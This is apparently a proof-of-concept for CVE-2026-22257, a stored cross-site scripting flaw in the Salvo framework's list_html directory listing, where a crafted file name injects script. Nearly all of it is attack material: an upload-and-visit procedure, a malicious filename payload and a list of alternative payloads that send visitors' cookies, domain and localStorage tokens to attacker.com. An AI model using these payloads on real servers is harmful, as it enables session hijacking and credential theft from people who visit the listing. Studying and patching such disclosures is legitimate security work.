CVE-2026-22257: Salvo框架list_html函数跨站脚本(XSS)漏洞

// CVE-2026-22257 PoC - XSS via malicious filename in Salvo framework // This PoC demonstrates how an attacker can inject XSS via file/folder names // Step 1: Create a file with malicious filename containing XSS payload const maliciousFilename = '<img src=x onerror=alert("XSS by CVE-2026-22257")>.txt'; // Step 2: Upload the file to a Salvo server with dir listing enabled // The file will be accessible via the list_html function // Step 3: When victim visits the directory listing page, the XSS will execute // Example HTTP request to trigger the vulnerability: // GET /public-files/ HTTP/1.1 // Host: target.com // The server response will contain: // <a href='<img src=x onerror=alert("XSS by CVE-2026-22257")>.txt'>{maliciousFilename}</a> // Alternative payloads: const payloads = [ '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>.txt', '<img src=x onerror=document.location="https://attacker.com/log?d="+document.domain>.txt', '<svg/onload=fetch("http://attacker.com/?t="+localStorage.getItem("token"))>.txt' ]; console.log('CVE-2026-22257 XSS PoC'); console.log('Payload:', maliciousFilename);